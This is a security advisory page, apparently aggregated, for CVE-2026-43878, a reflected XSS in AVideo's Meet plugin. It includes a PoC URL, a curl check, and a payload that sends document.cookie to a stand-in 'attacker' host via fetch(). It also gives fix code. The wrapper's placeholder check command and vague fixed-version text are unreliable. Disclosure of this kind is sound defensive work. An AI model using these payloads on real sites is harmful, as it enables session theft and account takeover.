CVE-2026-43878: Video Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-mm5f-8q57-4fc4
CVSS 6.1
CWE-79
Published
Advisory Summary

CVE-2026-43878 is a MODERATE (CVSS 6.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Video libraries in the Packagist ecosystem. The issue involves reflected xss in plugin/meet/iframe.php via unescaped user and pass parameters in javascript string literal. Remediation is available in the latest vendor maintenance releases.

CVE-2026-43878 at a Glance

CVE Identifier CVE-2026-43878
GHSA Identifier GHSA-mm5f-8q57-4fc4
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Video
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-43878

To remediate this vulnerability, upgrade all affected Video dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-43878, inspect your project dependencies for Video:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Video in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Video, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `plugin/Meet/iframe.php` echoes the attacker-controlled `user` and `pass` query parameters unescaped into a JavaScript double-quoted string literal inside a `<script>` block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target. ## Details Root cause is a two-step reflection with no escaping applied at the HTML/JS sink. **Step 1 — `User::loginFromRequestToGet()` at `objects/user.php:3363-3373`** returns the raw concatenation of `$_REQUEST['user']` and `$_REQUEST['pass']` with no URL-encoding, HTML-escaping, or other sanitization: ```php public static function loginFromRequestToGet() { if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) { $return = "user={$_REQUEST['user']}&pass={$_REQUEST['pass']}"; if (!empty($_REQUEST['encodedPass'])) { $return .= "&encodedPass=" . intval($_REQUEST['encodedPass']); } return $return; } return ""; } ``` **Step 2 — `plugin/Meet/iframe.php`** builds `$readyToClose` from that string and emits it into a JS string literal without escaping: ```php // plugin/Meet/iframe.php:19-22 $userCredentials = User::loginFromRequestToGet(); // set in validateMeet.php:19 $readyToClose = User::getChannelLink($meet->getUsers_id()) . "?{$userCredentials}"; if (Meet::isModerator($meet_schedule_id)) { $readyToClose = "{$global['webSiteRootURL']}plugin/Meet/?{$userCredentials}"; ... } ``` ```php // plugin/Meet/iframe.php:115-117 function _readyToClose() { document.location = "<?php echo $readyToClose; ?>"; } ``` Note that `xss_esc()` IS applied a few lines earlier to the adjacent `nameIdentification` parameter (line 45) — the developer knew about XSS here but missed `$userCredentials`. No call to `json_encode`, `htmlspecialchars`, `xss_esc`, or `rawurlencode` is applied to `$readyToClose`. **Reachability to unauthenticated users.** `plugin/Meet/validateMeet.php` gates on `Meet::canJoinMeetWithReason()` and `Meet::validatePassword()`: - `Meet::canJoinMeetWithReason()` (`plugin/Meet/Meet.php:399-402`) returns `canJoin=true` for any visitor when the meet is public (`getPublic() == "2"`): ```php if ($meet->getPublic() == "2") { $obj->canJoin = true; $obj->reason = "Is public"; return $obj; } ``` - `Meet::validatePassword()` (`plugin/Meet/Meet.php:595-618`) returns `true` when the meet has no password set. - `validateMeet.php:27` only blocks unauthenticated users when `getPublic()` is empty. So an unauthenticated attacker can reach the sink against any public, no-password Meet schedule (the most common configuration). With a known password or moderator/admin role, all Meets are reachable. **Payload construction.** With `user=";}alert(1);function a(){"` and `pass=x`, the rendered script becomes: ```javascript function _readyToClose() { document.location = "CHANNEL_URL?user=";}alert(1);function a(){"&pass=x"; } ``` Parse flow: 1. `document.location = "CHANNEL_URL?user=";` — assignment completes. 2. `}` — closes `_readyToClose`. 3. `alert(1);` — executes immediately at script parse/run time (does NOT require `_readyToClose` to be called). 4. `function a(){"&pass=x";}` — declares a harmless function that absorbs the trailing garbage. ## PoC **Precondition:** one public Meet schedule with no password (or the attacker supplies `&meet_password=<known>` / is moderator/admin). 1. Attacker sends victim the following URL: ``` https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x ``` URL-decoded `user` payload: `";}alert(1);function a(){"` 2. Server reflects the parameters unescaped into the script block on line 116. 3. Victim's browser parses the script; `alert(1)` fires immediately on page load. 4. Verification: ``` $ curl -s 'https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x' \ | grep -A1 _readyToClose function _readyToClose() { document.location = "https://TARGET/channel/...?user=";}alert(1);function a(){"&pass=x"; ``` The injected `";}alert(1);function a(){"` sequence appears verbatim in the response, closing the JS string and function and executing `alert(1)` at parse time. 5. Realistic exploitation replaces `alert(1)` with a cookie-exfiltration payload: ``` user=%22%3B%7Dfetch('https%3A%2F%2Fattacker%2Fc%3D'%2Bdocument.cookie)%3Bfunction%20a()%7B%22&pass=x ``` ## Impact Reflected XSS in the AVideo origin. An attacker who tricks a logged-in AVideo user into clicking a crafted link can: - Steal the victim's session cookies / CSRF tokens (cookies are scoped to the AVideo root, not just `/plugin/Meet/`). - Perform arbitrary authenticated actions as the victim (upload/delete videos, change profile, post comments, change email/password → account takeover). - Pivot to admin takeover if the victim is an admin (admin endpoints are same-origin). - Deliver phishing content under the trusted AVideo domain. The attack is unauthenticated on any install that has at least one public, no-password Meet schedule — which is the default configuration when a moderator creates an open meeting. Scope is Changed because XSS in a plugin subpath can exfiltrate session cookies of the broader AVideo application. ## Recommended Fix Apply JSON encoding at the sink in `plugin/Meet/iframe.php:116` so the string is always a valid JS literal regardless of its contents: ```php function _readyToClose() { document.location = <?php echo json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?>; } ``` Additionally, harden `User::loginFromRequestToGet()` (`objects/user.php:3363-3373`) to URL-encode the components so downstream sinks cannot be broken out of with `"`, `<`, or other control characters: ```php public static function loginFromRequestToGet() { if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) { $return = "user=" . rawurlencode($_REQUEST['user']) . "&pass=" . rawurlencode($_REQUEST['pass']); if (!empty($_REQUEST['encodedPass'])) { $return .= "&encodedPass=" . intval($_REQUEST['encodedPass']); } return $return; } return ""; } ``` Audit every other caller of `loginFromRequestToGet()` (and any other function that returns raw `$_REQUEST['user']` / `$_REQUEST['pass']`) for similar sinks.

CVE-2026-43878 Affected Video Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 29.0

References

Frequently Asked Questions

What is CVE-2026-43878?
CVE-2026-43878 is a security vulnerability in Video involving Reflected XSS in plugin/Meet/iframe.php via Unescaped user and pass Parameters in JavaScript String Literal under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Video versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-43878?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-43878?
CVE-2026-43878 has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-43878?
CVE-2026-43878 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-43878?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mm5f-8q57-4fc4",
  "modified" : "2026-05-13T14:19:47Z",
  "published" : "2026-05-05T19:15:56Z",
  "aliases" : [ "CVE-2026-43878" ],
  "summary" : "Video: Reflected XSS in plugin/Meet/iframe.php via Unescaped user and pass Parameters in JavaScript String Literal",
  "details" : "## Summary\n\n`plugin/Meet/iframe.php` echoes the attacker-controlled `user` and `pass` query parameters unescaped into a JavaScript double-quoted string literal inside a `<script>` block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target.\n\n## Details\n\nRoot cause is a two-step reflection with no escaping applied at the HTML/JS sink.\n\n**Step 1 — `User::loginFromRequestToGet()` at `objects/user.php:3363-3373`** returns the raw concatenation of `$_REQUEST['user']` and `$_REQUEST['pass']` with no URL-encoding, HTML-escaping, or other sanitization:\n\n```php\npublic static function loginFromRequestToGet()\n{\n    if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {\n        $return = \"user={$_REQUEST['user']}&pass={$_REQUEST['pass']}\";\n        if (!empty($_REQUEST['encodedPass'])) {\n            $return .= \"&encodedPass=\" . intval($_REQUEST['encodedPass']);\n        }\n        return $return;\n    }\n    return \"\";\n}\n```\n\n**Step 2 — `plugin/Meet/iframe.php`** builds `$readyToClose` from that string and emits it into a JS string literal without escaping:\n\n```php\n// plugin/Meet/iframe.php:19-22\n$userCredentials = User::loginFromRequestToGet();  // set in validateMeet.php:19\n$readyToClose = User::getChannelLink($meet->getUsers_id()) . \"?{$userCredentials}\";\nif (Meet::isModerator($meet_schedule_id)) {\n    $readyToClose = \"{$global['webSiteRootURL']}plugin/Meet/?{$userCredentials}\";\n    ...\n}\n```\n\n```php\n// plugin/Meet/iframe.php:115-117\nfunction _readyToClose() {\n    document.location = \"<?php echo $readyToClose; ?>\";\n}\n```\n\nNote that `xss_esc()` IS applied a few lines earlier to the adjacent `nameIdentification` parameter (line 45) — the developer knew about XSS here but missed `$userCredentials`. No call to `json_encode`, `htmlspecialchars`, `xss_esc`, or `rawurlencode` is applied to `$readyToClose`.\n\n**Reachability to unauthenticated users.** `plugin/Meet/validateMeet.php` gates on `Meet::canJoinMeetWithReason()` and `Meet::validatePassword()`:\n\n- `Meet::canJoinMeetWithReason()` (`plugin/Meet/Meet.php:399-402`) returns `canJoin=true` for any visitor when the meet is public (`getPublic() == \"2\"`):\n  ```php\n  if ($meet->getPublic() == \"2\") {\n      $obj->canJoin = true;\n      $obj->reason = \"Is public\";\n      return $obj;\n  }\n  ```\n- `Meet::validatePassword()` (`plugin/Meet/Meet.php:595-618`) returns `true` when the meet has no password set.\n- `validateMeet.php:27` only blocks unauthenticated users when `getPublic()` is empty.\n\nSo an unauthenticated attacker can reach the sink against any public, no-password Meet schedule (the most common configuration). With a known password or moderator/admin role, all Meets are reachable.\n\n**Payload construction.** With `user=\";}alert(1);function a(){\"` and `pass=x`, the rendered script becomes:\n\n```javascript\nfunction _readyToClose() {\n    document.location = \"CHANNEL_URL?user=\";}alert(1);function a(){\"&pass=x\";\n}\n```\n\nParse flow:\n1. `document.location = \"CHANNEL_URL?user=\";` — assignment completes.\n2. `}` — closes `_readyToClose`.\n3. `alert(1);` — executes immediately at script parse/run time (does NOT require `_readyToClose` to be called).\n4. `function a(){\"&pass=x\";}` — declares a harmless function that absorbs the trailing garbage.\n\n## PoC\n\n**Precondition:** one public Meet schedule with no password (or the attacker supplies `&meet_password=<known>` / is moderator/admin).\n\n1. Attacker sends victim the following URL:\n   ```\n   https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x\n   ```\n   URL-decoded `user` payload: `\";}alert(1);function a(){\"`\n\n2. Server reflects the parameters unescaped into the script block on line 116.\n\n3. Victim's browser parses the script; `alert(1)` fires immediately on page load.\n\n4. Verification:\n   ```\n   $ curl -s 'https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x' \\\n       | grep -A1 _readyToClose\n   function _readyToClose() {\n       document.location = \"https://TARGET/channel/...?user=\";}alert(1);function a(){\"&pass=x\";\n   ```\n   The injected `\";}alert(1);function a(){\"` sequence appears verbatim in the response, closing the JS string and function and executing `alert(1)` at parse time.\n\n5. Realistic exploitation replaces `alert(1)` with a cookie-exfiltration payload:\n   ```\n   user=%22%3B%7Dfetch('https%3A%2F%2Fattacker%2Fc%3D'%2Bdocument.cookie)%3Bfunction%20a()%7B%22&pass=x\n   ```\n\n## Impact\n\nReflected XSS in the AVideo origin. An attacker who tricks a logged-in AVideo user into clicking a crafted link can:\n\n- Steal the victim's session cookies / CSRF tokens (cookies are scoped to the AVideo root, not just `/plugin/Meet/`).\n- Perform arbitrary authenticated actions as the victim (upload/delete videos, change profile, post comments, change email/password → account takeover).\n- Pivot to admin takeover if the victim is an admin (admin endpoints are same-origin).\n- Deliver phishing content under the trusted AVideo domain.\n\nThe attack is unauthenticated on any install that has at least one public, no-password Meet schedule — which is the default configuration when a moderator creates an open meeting. Scope is Changed because XSS in a plugin subpath can exfiltrate session cookies of the broader AVideo application.\n\n## Recommended Fix\n\nApply JSON encoding at the sink in `plugin/Meet/iframe.php:116` so the string is always a valid JS literal regardless of its contents:\n\n```php\nfunction _readyToClose() {\n    document.location = <?php echo json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?>;\n}\n```\n\nAdditionally, harden `User::loginFromRequestToGet()` (`objects/user.php:3363-3373`) to URL-encode the components so downstream sinks cannot be broken out of with `\"`, `<`, or other control characters:\n\n```php\npublic static function loginFromRequestToGet()\n{\n    if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {\n        $return = \"user=\" . rawurlencode($_REQUEST['user'])\n                . \"&pass=\" . rawurlencode($_REQUEST['pass']);\n        if (!empty($_REQUEST['encodedPass'])) {\n            $return .= \"&encodedPass=\" . intval($_REQUEST['encodedPass']);\n        }\n        return $return;\n    }\n    return \"\";\n}\n```\n\nAudit every other caller of `loginFromRequestToGet()` (and any other function that returns raw `$_REQUEST['user']` / `$_REQUEST['pass']`) for similar sinks.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "29.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-mm5f-8q57-4fc4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-43878"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T19:15:56Z",
    "nvd_published_at" : "2026-05-11T22:22:12Z"
  }
}